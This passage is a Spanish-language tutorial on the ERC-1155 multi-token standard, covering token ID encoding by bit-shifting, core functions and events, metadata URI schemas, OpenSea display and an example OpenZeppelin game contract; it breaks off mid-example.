El estándar ERC-1155 describe cómo crear tanto tokens fungibles como no fungibles y luego incorporarlos en un único contrato inteligente (smart contract). Esto ahorra costos de despliegue significativos cuando hay varios tokens involucrados.
Imagina que eres un desarrollador de juegos que intenta incorporar NFTs y tokens ERC-20 en tu plataforma, representando varios tipos de activos como zapatos, espadas, sombreros y moneda del juego.
Usar estándares como ERC-721 y ERC-20 requeriría que desarrolles múltiples contratos de tokens, uno por cada colección de NFTs y ERC-20s. Desplegar todos esos contratos sería costoso.
¿No sería conveniente si pudieras definir y gestionar todos los activos NFT y tokens dentro de un solo contrato? Entonces, incluso podrías crear un mecanismo para aprobar o transferir múltiples NFTs a la vez.
Este caso de uso es la razón por la cual Enjin, una organización de desarrollo de NFTs y juegos, presentó la primera propuesta del Estándar Multi Token ERC-1155 al repositorio de Github de Ethereum. El 17 de junio de 2018, el estándar de token ERC-1155 de Enjin fue adoptado oficialmente por la Ethereum Foundation.
Características Clave del ERC-1155
Manejo de Múltiples Tipos de Tokens: fungibles y no fungibles
Para contemplar múltiples tipos de tokens (fungibles y/o no fungibles) dentro de un solo contrato, una implementación de ERC-1155 debe distinguir cada tipo de token utilizando un token ID uint256 único. Esto permite a los contratos definir atributos únicos para cada token, como el suministro total (total supply), URI, nombre, símbolo, etc., y asegura que la configuración de cada token permanezca separada e independiente de los demás.
Aquí hay un ejemplo de una estructura de token ID en ERC-1155:
- Token ID: 0
- Token ID: 1
- Token ID: 2
- …
Los token IDs no tienen que ser secuenciales. Solo tienen que ser únicos. El estándar no establece cómo deben crearse los token IDs, por lo tanto la función “mint” no es parte de la especificación.
Definición de Fungibilidad
Aquí están las definiciones de tokens fungibles y no fungibles; ERC-1155 soporta ambos.
-
Fungible
Estos son tokens que son idénticos entre sí, como unidades de moneda. Para definir un conjunto de tokens fungibles en ERC-1155, simplemente mintearías múltiples tokens para un token ID dado.
Cuando cada token comparte el mismo id, también tendrán el mismo nombre y símbolo. Esto permitirá que el token opere de la misma manera que lo hace un ERC-20, porque tendría múltiples unidades que son idénticas entre sí, bajo el mismo nombre y símbolo. A diferencia de ERC-20, no hay decimales con los cuales interpretar las cantidades de tokens fungibles. Todos los balances de tokens fungibles se presentan en unidades enteras.
-
No Fungible
Los tokens no fungibles (NFTs) en ERC-1155 son tokens únicos, cada uno distinto de los demás. Estos se representan asignando a cada artículo único su propio token ID, el cual es un valor
uint256único.
Cómo incluir múltiples tokens no fungibles en un ERC-1155
Al gestionar múltiples colecciones de NFTs dentro de un solo contrato ERC-1155, asignar token IDs únicos aleatorios puede hacer que sea difícil identificar a qué colección pertenece un token ID en particular.
Para abordar el problema, una solución es estructurar los token IDs de manera que el id codifique tanto la información de la colección como la del artículo individual: simplemente concatenamos los dos números, y el número formado por la concatenación es el id.
Así es como se hace:
Dividimos el token ID uint256 en dos partes:
- collection ID: los bits superiores (los 128 bits más significativos) del token ID para representar una colección específica.
- item ID: los bits inferiores (los 128 bits menos significativos) para representar un artículo individual dentro de esa colección.
Este esquema nos permite identificar fácilmente a qué colección pertenece el token ID, y qué artículo es dentro de esa colección. Todos los tokens no fungibles serán distintos entre sí utilizando esta codificación.
La siguiente imagen muestra el token ID dividido en el collection id (valores X) y el item ID (valores Y):

Para codificar la información de la colección y del artículo en un solo token ID uint256, podemos usar la operación de desplazamiento de bits (bit-shifting) y adición.
Bit-Shifting (Desplazamiento de Bits)
El bit-shifting es el proceso de agregar bits cero al principio o al final de una secuencia de bits, esencialmente desplazando los bits existentes hacia la izquierda (operación en Solidity <<) o hacia la derecha (>>).
Mediante el bit-shifting, podemos “inyectar” un número de 128 bits en los 128 bits más significativos del número de 256 bits. Por defecto, si convertimos (cast) un número de 128 bits a un número de 256 bits, el número de 128 bits estaría en los 128 bits menos significativos.
Considera este valor de 256 bits (o 32 bytes) que representa el número decimal 2, desplazado a la izquierda por 128 bits (o 16 bytes):
Después de desplazar el valor decimal 2 hacia la izquierda por 128 bits (2 << 128), obtenemos el nuevo valor decimal 680564733841876926926749214863536422912 o 0x0000000000000000000000000000000200000000000000000000000000000000
en hexadecimal.
Usando esta técnica de bit-shifting, podemos rellenar con ceros los 128 bits menos significativos. Dado que los IDs de los NFTs se almacenan como tipos uint256, podemos sumar el item id al shifted collection id. A continuación se muestra una fórmula sencilla para ilustrar esto:
uint256 token_ID = shifted_collection_id + individual_token_id
La siguiente animación muestra cómo suceden las operaciones de desplazamiento y adición en segundo plano:
Imagina este escenario, un contrato ERC-1155 tiene dos colecciones de tokens no fungibles diferentes: CoolPhotos y RareSkills, con collectionID 1 y 2, respectivamente. Si Bob quiere comprobar si posee un artículo con itemID 7 de la colección RareSkills, el token ID válido a usar para esta comprobación sería una combinación del collectionID y el itemID:
Donde los bits naranjas representan el collection ID de RareSkills y los bits verdes representan el itemID de la colección.
Así es como el contrato ERC-1155 del ejemplo anterior podría almacenar y recuperar los balances de cuenta para un token ID dado:
// Nested mapping to store balances
// tokenID => owner => balance
mapping(uint256 => mapping(address => uint256)) balances;
// Retrieves the balance of a specific token ID for an address
function balanceOf(address owner, uint256 tokenid) public view returns (uint256) {
return balances[tokenid][owner];
}
Usando el código anterior, Bob podría llamar a la función balanceOf con el token ID (2 << 128) + 7 para comprobar su propiedad:
uint256 rareSkillsTokenCollectionID = 2 << 128; // collection id is 2
uint256 rsNFT = 7; // item id
// Returns 1 if Bob owns the tokenid passed, else, 0
uint256 bobBalance = balanceOf(
address(Bob),
rareSkillsTokenCollectionID + rsNFT // (2 << 128) + 7
);
Si bobBalance = 1, Bob posee el artículo con itemID 7 de la colección RareSkills. Es fundamental que el contrato imponga que el suministro total (total supply) para este token no pueda superar 1, de lo contrario el token se volvería fungible en lugar de no fungible.
Anteriormente discutimos el uso del método de bit-shifting para calcular token IDs únicos. Para revertir este proceso y obtener el collectionId y el itemId a partir de un tokenId, desplazamos el tokenId hacia la derecha en 128 bits para recuperar el collectionId y hacemos un cast del tokenId a 128 bits para obtener el itemId.
A continuación hay un código de ejemplo sobre cómo calcular:
- el token ID ERC-1155 dado el collection ID del NFT y el itemId
- el collection ID y el item ID, dado el token ID ERC-1555
contract A {
// 1. COMPUTE TOKEN ID
function getTokenId(
uint256 collectionId,
uint256 itemId
) public pure returns (bytes32 tokenId) {
// shift the collection id by 128 to the left
uint256 shiftedCollectionId = collectionId << 128;
// add the item id to the shifted collection id
tokenId = bytes32(shiftedCollectionId + itemId);
}
// 2. GET COLLECTION ID AND ITEM ID
function getCollectionIdAndItemId(
uint256 tokenId
) public pure returns (uint256 collectionId, uint256 itemId) {
// shift the token id to the right by 128
collectionId = tokenId >> 128;
// cast the token id to 128
itemId = uint128(tokenId);
}
}
Captura de pantalla de Remix mostrando el código siendo probado para ambas funciones:

La técnica de token ID estructurado es una forma de implementar múltiples tokens no fungibles con ERC-1155, ya que el estándar no especifica cómo debe hacerse. Sin embargo, existe una implementación de ERC-1155 llamada ERC1155D que es una iteración sobre el estándar original para optimizar la eficiencia de gas al mintear tokens no fungibles, si el contrato solo necesita soportar una única colección de NFTs.
ERC-1155D
ERC-1155D está diseñado específicamente para tokens no fungibles (igual que ERC-721) donde cada token tiene un identificador único y un propietario único. Es totalmente retrocompatible y cumple con ERC-1155.
¿Cuándo usar ERC1155D?
Usa ERC1155D cuando no necesites múltiples colecciones de tokens no fungibles (como con el ejemplo de CoolPhotos y RareSkills) en tu contrato, al mismo tiempo que impones que el token tenga un suministro de uno y un máximo de un propietario.
En resumen, todos los tokens se gestionan bajo un único contrato utilizando un valor uint256 para el token ID. Sin embargo, cómo se asignan los token IDs específicos a los diferentes tipos de tokens depende enteramente del caso de uso del contrato.
Funciones Centrales de ERC1155
Estas son las funciones en la interfaz ERC1155 que deben ser implementadas por los contratos que implementan el estándar ERC1155. El fragmento de código de cada función proviene de la especificación del estándar.
Recuperación de Balances
-
balanceOf
En ERC-721,
balanceOf(address _owner)devuelve el balance de una dirección para toda la colección de token IDs. Así que si una dirección posee los tokens 1, 5 y 7,balanceOf(address _owner)para esa dirección devolvería3.Sin embargo, en ERC-1155, la función
balanceOfestá estructurada de manera que recupera el balance de un token ID específico para una dirección de cuenta en particular./** @notice Get the balance of an account's tokens. @param _owner The address of the token holder @param _id ID of the token @return The _owner's balance of the token type requested */ function balanceOf(address _owner,uint256 _id) external view returns (uint256);Una dirección puede tener diferentes cantidades de varios token IDs, como una unidad del token ID 1, veinte unidades del token ID 5 y así sucesivamente. Sin embargo, no hay una forma directa de medir el número total de tokens que posee una dirección a través de todos los token IDs dentro de un contrato ERC-1155, porque la función
balanceOfestá diseñada solo para comprobar cuánto posees de un tokenID en particular y no cuántos tokenIDs posees en todo el contrato. -
balanceOfBatch
También existe un mecanismo por lotes (batch) llamado
balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids). Este método recupera múltiples balances por dirección por id a la vez llamando abalanceOfen un bucle./** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the tokens @return The _owner's balance of the token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch( address[] calldata _owners, uint256[] calldata _ids ) external view returns (uint256[] memory);ERC-1155 no soporta un mecanismo para listar todos los token IDs existentes.
Para obtener todos los IDs existentes de un contrato 1155, debemos analizar los logs off-chain (mostraremos cómo hacer esto más adelante).
Aprobación para Todos (Approval For All)
ERC-1155 permite a un propietario otorgar a un operador la aprobación para gestionar todos sus tokens en todos los IDs en una sola transacción llamando a su método setApprovalForAll(address _operator, bool _approved). Esta función toma la address de un operador y un bool que representa el estado de la aprobación como parámetros:
/**
@notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
@dev MUST emit the ApprovalForAll event on success.
@param _operator Address to add to the set of authorized operators
@param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator,bool _approved) external;
Ten en cuenta que este método aprueba literalmente todo lo que el usuario posee en el contrato ERC-1155. Es como establecer la aprobación máxima para ERC-20 y llamar a setApprovalForAll para ERC-721. Cualquier token del propietario en cualquier cantidad en el contrato ERC-1155 puede ser transferido por el operador.
Transferencias Seguras (Safe Transfers)
Siguiendo el patrón de ERC-721, ERC-1155 también cuenta con el mecanismo de “safe transfer”, que verifica para asegurar que el receptor del token es un receptor válido. De hecho, ERC-1155 SOLAMENTE soporta transferencias seguras.
-
safeTransferFrom
/** @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom( address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external;Si el receptor es una EOA, entonces
safeTransferFromcomprueba que la dirección no sea la dirección cero (zero address). Si el receptor es un contrato inteligente (smart contract), entonces llamará a la función de callbackonERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data)y esperará que se devuelva el valor mágico (magic value)bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")).Un token ERC-1155 no puede ser transferido a un smart contract que no implemente
onERC1155Receivedo que implementeonERC1155Receivedincorrectamente. -
safeBatchTransferFrom
/** @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom( address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external;Además, el estándar permite a los propietarios y operadores ejecutar transferencias por lotes (batch transfers). Se pueden transferir múltiples conjuntos de tokens desde una dirección de origen a una dirección de destino en una sola transacción.
Las transferencias por lotes pueden realizarse llamando a:
safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data),- lo cual llamará al callback
onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data)en el receptor- y esperará el magic value
bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")).
- y esperará el magic value
- lo cual llamará al callback
SafeTransferFrom vs SafeBatchTransferFrom
Usando la implementación de OpenZeppelin de ERC1155, la imagen a continuación compara el uso de gas de llamar a
safeTransferFromtres veces versus agrupar (batching) las transferencias en una sola transacción:
Usar safeBatchTransferFrom, como se ve en el recuadro rojo, consume 132,437 gas, lo cual es significativamente menor que los 189,861 gas utilizados para tres llamadas separadas a safeTransferFrom, mostradas en el recuadro azul.
Estructuras de Datos Centrales
Las implementaciones de ERC-1155 generalmente usan mapeos (mappings) para mantener el estado de los datos centrales, como los balances, aprobaciones y URIs mencionados anteriormente. Por ejemplo, un ERC-1155 podría usar las siguientes variables de almacenamiento:
mapping(uint256 id => mapping(address account => uint256 balance)) internal _balances;
mapping(address account => mapping(address operator => bool isApproved)) internal _operatorApprovals;
string private _uri;
Examinemos cada una de estas estructuras de datos en las siguientes secciones.
Balances
Los balances se almacenan en un mapping anidado con dos niveles. El mapping externo tiene una clave que representa un token ID que apunta a otro mapping de address (propietario) a _balances.
Para devolver el balance de una cuenta para un token dado bajo esta estructura, una implementación de balanceOf accedería al valor de la siguiente manera:
function balanceOf(address account, uint256 id) public view returns (uint256) {
return _balances[id][account];
}
Aprobaciones
De manera similar, las aprobaciones se mantienen en un mapping anidado, ya que una cuenta puede otorgar aprobaciones a múltiples operadores. La clave del mapping externo es el propietario que apunta a un mapping de operadores hacia su estado de aprobación.
Considera esta implementación de ejemplo de la función isApprovedForAll accediendo a un estado de aprobación:
function isApprovedForAll(address account, address operator) public view returns (bool) {
return _operatorApprovals[account][operator];
}
Registro (Logging) y Eventos
El estándar ERC-1155 garantiza que se puede crear un registro preciso de todos los balances de tokens actuales al observar los registros de eventos (event logs) que fueron emitidos por el smart contract, porque cada mint, burn y transfer de token queda registrado.
Una lista de los escenarios que deben emitir un evento es la siguiente:
-
Cuando una dirección otorga o revoca la aprobación de un operador para que otra dirección gestione todos sus tokens, se debe emitir el evento
ApprovalForAll:event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); -
Cuando se transfieren tokens de una dirección a otra, incluyendo el mint y burn, se debe emitir el evento
TransferSingleoTransferBatch.// Emits when a single token is transferred event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); // Emits when a batch of tokens is transferred event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values);Si se llama a la función
safeBatchTransferFromcon un solo tokenID, se emite el eventoTransferSingle, de lo contrario, se emite el eventoTransferBatch. -
Si el URI de metadatos cambia para un token ID específico, se debe emitir el evento
URI:event URI(string _value, uint256 indexed _id);
Con estos eventos registrados/emitidos cada vez que se llama a la función asociada a ellos, podemos obtener información como la siguiente off-chain en JavaScript:
-
Token IDs existentes de un contrato 1155:
El código a continuación utiliza la biblioteca ethers.js para interactuar con un contrato ERC-1155 y obtener una lista de todos los token IDs emitidos en los eventos
TransferSingleyTransferBatchdentro de un rango de bloques especificado.import { ethers } from "ethers"; // v6 // Connect to an Ethereum provider const provider = new ethers.JsonRpcProvider("rpc-url"); // ERC-1155 contract address and ABI const erc1155ContractAddress = "YourContractAddress"; const abi = [ /* ERC-1155 ABI here */ "event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value)", "event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values)", ]; const contract = new ethers.Contract(erc1155ContractAddress, abi, provider); (async (startBlockNumber) => { // Fetch `TransferSingle` and `TransferBatch` events const singleEvents = await erc1155ContractInstance.queryFilter( "TransferSingle", // event startBlockNumber, // start block startBlockNumber + 100000, // end block ); const batchEvents = await erc1155ContractInstance.queryFilter( "TransferBatch", // event startBlockNumber, // start block startBlockNumber + 100000, // end block ); const tokenIds = new Set(); // Get token IDs from TransferSingle events singleEvents.forEach((event) => { // Destructure the `args` field const { operator, from, to, id, value } = event.args; // Add `id` to the `tokenIds` set tokenIds.add(id); }); // Get token IDs from TransferBatch events batchEvents.forEach((event) => { // Destructure the `args` field const { operator, from, to, ids, values } = event.args; // Loop through `ids` then add `id` to the `tokenIds` set ids.forEach((id) => tokenIds.add(id.toString())); }); console.log("Token IDs in existence:", Array.from(tokenIds)); })(); -
Todos los token IDs que posee un usuario:
El código a continuación lista todos los IDs que posee un usuario. Lo hace rastreando los eventos de transferencia
toyfromesa dirección. Para mayor precisión, elstartBlockNumberdebe establecerse antes de la primera interacción de esa dirección.async function getUserTokenIds(userAddress, startBlockNumber) { const singleEvents = await erc1155ContractInstance.queryFilter('TransferSingle', startBlockNumber, startBlockNumber + 100000); const batchEvents = await erc1155ContractInstance.queryFilter('TransferBatch', startBlockNumber, startBlockNumber + 100000); const balances = {}; // Process TransferSingle events singleEvents.forEach(event => { const { operator, from, to, id, value } = event.args; if (to.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) + parseInt(value.toString()); } if (from.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) - parseInt(value.toString()); } }); // Process TransferBatch events batchEvents.forEach(event => { const { operator, from, to, ids, values } = event.args; ids.forEach((id, index) => { const value = parseInt(values[index].toString()); if (to.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) + value; } if (from.toLowerCase() === userAddress.toLowerCase()) { balances[id] = (balances[id] || 0) - value; } }); }); // Filter out IDs with a balance greater than zero const ownedTokenIds = Object.keys(balances).filter(id => balances[id] > 0); console.log(ownedTokenIds); }
Identificadores Uniformes de Recursos (URIs)
ERC-1155 tiene solo una función uri, tal como se especifica en el estándar. El estándar no establece si la función uri debe usar o ignorar el token ID. Cómo se recupera el uri depende de la implementación del contrato. Por ejemplo, si la implementación del contrato requiere un URI compartido, podemos ignorar el id y simplemente devolver el uri base _uri, de lo contrario, podemos codificar tanto el token ID como el uri base.
Un ejemplo de implementación de URI Compartido para los token IDs:
string private _uri;
function uri(uint256 /* id */) public view virtual returns (string memory) {
return _uri;
}
La función uri anterior siempre devolverá el mismo URI, ignorando el token ID.
Un ejemplo de implementación de URI Único para cada token ID:
Si queremos cambiar el string devuelto según el token ID, la biblioteca Strings será muy útil, pero no es nativa de Solidity, sino que es parte de la biblioteca Strings de OpenZeppelin. En la implementación de ejemplo a continuación, se usa para convertir un tokenID que es un uint256, en un número hexadecimal codificado como un string de Solidity.
A continuación se muestra un ejemplo de cómo cambiar el URI según el ID utilizando la biblioteca Strings:
import "@openzeppelin/contracts/utils/Strings.sol";
string private _uri;
function uri(uint256 id) public view virtual returns (string memory) {
return string(abi.encodePacked(
_uri,
Strings.toHexString(id, 32), // Convert tokenId to hex with fixed length
".json"
));
}
La función uri devuelve un URI único para cada token añadiendo el token ID pasado al URI base. Por ejemplo, si el URI base es https://token-cdn-domain/, llamar a la función con el token ID 314592 (en hexadecimal, 0x4CCE0) devolverá https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json.
El estándar requiere que los clientes reemplacen el parámetro {id} (si está presente) con la representación en string hexadecimal del id real del token. El string sustituido debe ser alfanumérico en minúsculas: [0-9a-f] sin el prefijo “0x” y debe estar rellenado con ceros a la izquierda hasta una longitud de 64 caracteres hexadecimales si es necesario.
El enfoque de sustitución del token ID reduce la sobrecarga (overhead) requerida para almacenar URIs únicos para grandes colecciones de tokens al añadir el token ID pasado al uri base.
Cómo se estructuran los URIs
El estándar no requiere que los tokens ERC-1155 deban tener metadatos URI asociados a ellos. Sin embargo, si los contratos de implementación de ERC-1155 definen el URI de algún token, debe apuntar a un archivo JSON que cumpla con el “Esquema JSON de URI de Metadatos ERC-1155” (ERC-1155 Metadata URI JSON Schema).
Este URI típicamente apunta a un recurso off-chain, como un servidor o IPFS, donde se almacenan los metadatos.
El Esquema JSON de URI de Metadatos ERC-1155, copiado del estándar, se describe a continuación:
{
"title": "Token Metadata",
"type": "object",
"properties": {
"name": {
"type": "string",
"description": "Identifies the asset to which this token represents"
},
"decimals": {
"type": "integer",
"description": "The number of decimal places that the token amount should display - e.g. 18, means to divide the token amount by 1000000000000000000 to get its user representation."
},
"description": {
"type": "string",
"description": "Describes the asset to which this token represents"
},
"image": {
"type": "string",
"description": "A URI pointing to a resource with mime type image/* representing the asset to which this token represents. Consider making any images at a width between 320 and 1080 pixels and aspect ratio between 1.91:1 and 4:5 inclusive."
},
"properties": {
"type": "object",
"description": "Arbitrary properties. Values may be strings, numbers, object or arrays."
}
}
}
Un JSON de ejemplo para un NFT de automóvil que se alinea con el esquema de metadatos JSON anterior:
{
"title": "RareSkills Car Metadata",
"type": "object",
"properties": {
"name": "RareSkills Car #1",
"description": "A high-performance electric car with cutting-edge technology.",
"image": "https://image-uri/rareskills-car1.png",
"year": 2024,
"topSpeed": "200 mph",
"batteryCapacity": "100 kWh",
"features": ["Autopilot", "Full Self-Driving", "Premium Sound System"],
}
}
El campo title describe el propósito de los metadatos, el campo type especifica el formato de datos para los metadatos, el campo properties define atributos adicionales o metadatos sobre el automóvil.
Campo Localization en el Esquema JSON de URI
Los clientes que soportan localización pueden ser capaces de mostrar la información del token en múltiples idiomas utilizando el atributo localization en el ERC-1155 en formato JSON, si existe.
El esquema para los metadatos de localization es el siguiente:
{
"title": "Token Metadata",
"type": "object",
"properties": {
...
"localization": {
"type": "object",
"required": ["uri", "default", "locales"],
"properties": {
"uri": {
"type": "string",
"description": "The URI pattern to fetch localized data from. This URI should contain the substring `{locale}` which will be replaced with the appropriate locale value before sending the request."
},
"default": {
"type": "string",
"description": "The locale of the default data within the base JSON"
},
"locales": {
"type": "array",
"description": "The list of locales for which data is available. These locales should conform to those defined in the Unicode Common Locale Data Repository (http://cldr.unicode.org/)."
}
}
}
}
}
A continuación se muestra un ejemplo de un archivo JSON de metadatos que contiene un atributo localization:
{
"name": "RareSkills Token",
"description": "Each token represents a unique pass in RareSkills community.",
"properties": {
"localization": {
"uri": "ipfs://xxx/{locale}.json",
"default": "en",
"locales": ["en", "es", "fr"]
}
}
}
La propiedad locales es un array con tres elementos: en, es, y fr, con en establecido como el idioma predeterminado. Cada elemento del array tiene su propio archivo JSON de metadatos en su respectivo idioma.
es.json:
{
"name": "RareSkills simbólico",
"description": "Cada token representa un pase único en la comunidad RareSkills."
}
fr.json:
{
"name": "RareSkills Jeton",
"description": "Chaque jeton représente un pass unique dans la communauté RareSkills."
}
Similar a la sustitución del token ID, si el uri contiene el string {locale}, entonces los clientes deben reemplazar esto con uno de los locales disponibles que se definen en el array locales, el cual luego apunta a un archivo JSON de metadatos en el idioma de destino.
Ejemplo de Pasos para Obtener Metadatos en Idioma Francés
-
Llama a la función
uricon el token ID314592para obtener el URI para el JSON de los metadatos del token// Returned uri: https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json -
Lee el contenido JSON off-chain desde el uri devuelto en el paso 1 para obtener el URI base para nuestro idioma deseado
{ "name": "RareSkills Token", "description": "Each token represents a unique pass in RareSkills community.", "properties": { "localization": { "uri": "https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/{locale}.json", "default": "en", "locales": ["en", "es", "fr"] } } } -
Reemplaza el string
{locale}confren el campolocalization → uripara obtener el URI para la versión francesa de los metadatos// French Language URI: // [https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0/fr.json](https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json)
Al interactuar con metadatos no confiables, asegúrate de sanitizar los resultados antes de parsearlos. Cualquier JSON renderizado en un front end puede ser un vector para ataques de cross site scripting (XSS).
Cómo interpreta OpenSea los metadatos
Los contratos ERC-1155 son soportados por OpenSea y esta sección muestra cómo OpenSea interpreta los metadatos ERC-1155. Un ejemplo en vivo proviene de un juego blockchain llamado Common Ground World:

Al momento de escribir este artículo, Common Ground World tiene 681 colecciones definidas como activos del juego, a los que OpenSea se refiere como “Artículos únicos” (Unique items, recuadro rojo) en la imagen de arriba. La suma de todos los activos en cada colección es de alrededor de 9 millones (recuadro verde).
Aquí hay un ejemplo de una de las colecciones del juego:

La colección Water Tank tiene un suministro total (total supply) de aproximadamente 4,800 artículos (recuadro verde) propiedad de aproximadamente 2,900 direcciones (recuadro rojo).
Nota que OpenSea no proporciona la información de total supply para ningún token ERC-721 dado porque cada tokenID tiene un suministro de uno y exactamente un propietario. Aquí hay un NFT aleatorio de Bored Ape Yacht Club propiedad de F15C93, para comparar:

Es más claro que este token se adhiere al estándar ERC-1155 al observar la sección de Detalles en OpenSea, mira el recuadro rojo a continuación:

OpenSea puede mostrar la descripción y la información de los rasgos (traits) extrayéndolas de los metadatos del token, lo cual se puede observar haciendo clic en el Token ID:
{
"decimalPlaces": 0,
"description": "Never underestimate the power of passive, on-demand water for your crops. Your Farmers will thank you!",
"image": "https://tokens.gala.games/images/sandbox-games/town-star/storage/water-tank.gif",
"name": "Water Tank",
"properties": {
"category": "Storage",
"game": "Town Star",
"rarity": {
"hexcode": "#939393",
"icon": "https://tokens.gala.games/images/sandbox-games/rarity/common.png",
"label": "Common",
"supplyLimit": 5159
},
"tokenRun": "storage"
}
}
OpenSea define estándares de metadatos a los que los URIs deben adherirse para que OpenSea pueda extraer metadatos off-chain para activos ERC721 y ERC1155.
Ejemplo de Implementación
El siguiente es un contrato de implementación de ejemplo de ERC-1155 que es un juego simple. Instancia el contrato abstracto ERC-1155 de OpenZeppelin con funciones adicionales que sirven como wrappers y helpers para alterar el estado del juego:
initializePlayer: inicializa la cuenta de un jugador minteando una cantidad definida por la constanteINITIAL_IN_GAME_CURRENCY_BALANCE.mintInGameCurrency: mintea moneda del juego adicional para un jugador específico.mintCar: permite a los jugadores mintear automóviles únicos basados en NFTs.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
contract GameAssets is ERC1155 {
uint256 constant TOKEN_ID_IN_GAME_CURRENCY = 0; // fungible tokenId
uint256 constant TOKEN_ID_BASE_CAR_COLLECTION = 1; // non-fungible tokenId
uint256 constant INITIAL_IN_GAME_CURRENCY_BALANCE = 1000;
uint256 constant MINIMUM_AMOUNT = 1500;
uint256 public nextTokenIndex;
constructor(string memory uri) ERC1155(uri) {}
function initializePlayer(address to, bytes memory data) public {
mintInGameCurrency(to, INITIAL_IN_GAME_CURRENCY_BALANCE, data);
}
function mintInGameCurrency(address to, uint256 value, bytes memory data) public {
_mint(to, TOKEN_ID_IN_GAME_CURRENCY, value, data);
}
function mintCar(address player, bytes memory data) public returns (uint256 carId) {
// ASSERT PLAYER'S BALANCE OF THE TOKEN ID `TOKEN_ID_IN_GAME_CURRENCY`
// EQUALS OR GREATER THAN `MINIMUM_AMOUNT`
require(balanceOf(player, TOKEN_ID_IN_GAME_CURRENCY) >= MINIMUM_AMOUNT, "");
// THE NON-FUNGIBLE MAGIC TRICK
carId = (TOKEN_ID_BASE_CAR_COLLECTION << 128) + nextTokenIndex++;
// MINT CAR
_mint(player, carId, 1, data);
}
}
NOTA: Este contrato es solo para fines de demostración y omite características clave de seguridad y optimizaciones.
El juego va a tener dos tipos de tokens:
- Una moneda del juego ($IGC) que un jugador puede ganar completando misiones. Este va a ser un token fungible.
- Un token no fungible que representa una colección de automóviles que los jugadores pueden mintear.
Cuando desplegamos este contrato, la dirección de nuestro contrato es 0xCc3958FE4Beb3bcb894c184362486eBEc2E1fD4D y estaremos usando 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 como la dirección del jugador.
En las siguientes secciones demostraremos cómo interactuar con este contrato para gestionar sus activos en tokens.
Un ejemplo de juego usando ERC-1155
El diagrama de flujo a continuación ilustra cómo interactúan los jugadores con el contrato ERC-1155 del juego, incluyendo el minteo de la moneda del juego y los automóviles.

ERC-1155 Token 0: Mintear $IGC

Digamos que queremos que los jugadores comiencen con un balance de 1000 $IGC. Podemos mintear estos tokens a cada jugador al inicio del juego llamando a la función initializePlayer en nuestro contrato. Esto enviará el token ID para el IGC (0) y las cantidades a mintear a _mint(address to, uint256 id, uint256 value, bytes memory data) del contrato base de OpenZeppelin.
Esta función _mint es el método de OpenZeppelin para crear tokens y eventualmente realiza las comprobaciones de aceptación, llama a safeTransferFrom y emite el evento TransferSingle (recuadro azul abajo), como lo requiere el estándar.
Después de llamar a la función initializePlayer podemos ver los siguientes logs:

En el recuadro rojo, podemos ver que se emitió el evento TransferSingle, y en el recuadro verde la zero address envió 1000 unidades de nuestra moneda del juego (token ID 0) a la dirección de nuestro jugador.
Mintear más $IGC
A medida que nuestro jugador completa misiones, queremos recompensarlo con más $IGC. Podemos llamar a la función mintInGameCurrency en el contrato del juego, que luego llama a la función _mint de OpenZeppelin, especificando la dirección de nuestro jugador (0x5B38Da6a701c568545dCfcB03FcB875f56beddC4), la cantidad de tokens a mintear como recompensa (500) y cualquier dato de bytes a enviar al callback del receptor (ningún dato en este caso). Llamar a mintInGameCurrency con estos valores minteará 500 tokens $IGC a la dirección de destino, dando un balance total de 1500 tokens $IGC.
Cuando comprobamos el balance de $IGC de nuestro jugador a través de balanceOf:

Vemos que nuestro jugador ahora tiene un balance de 1500 $IGC (inicial + recompensa).
ERC-1155 Token 1: Mintear Activos No Fungibles (Automóviles)

Ahora, digamos que queremos permitir a los jugadores mintear automóviles al tener un balance mínimo de $IGC. Ten en cuenta que la colección de automóviles es no fungible.
Primero, definiremos metadatos únicos para cada NFT de automóvil que contengan las características del automóvil.
Por ejemplo, el URI del primer automóvil en nuestra colección será:
https://token-cdn-domain/0000000000000000000000000000000100000000000000000000000000000000.json
donde el id es:
en decimal
o
en hexadecimal
Los bits naranjas representan el ID de la colección de automóviles (1), mientras que los bits verdes representan el ID del token del primer automóvil (0). Juntos, forman un id único que apunta a unos metadatos, digamos:
{
"name": "Super Fast Car",
"description": "This super fast car is not like any other, it's super fast.",
"image": "https://images.com/{id}.png",
"properties": {
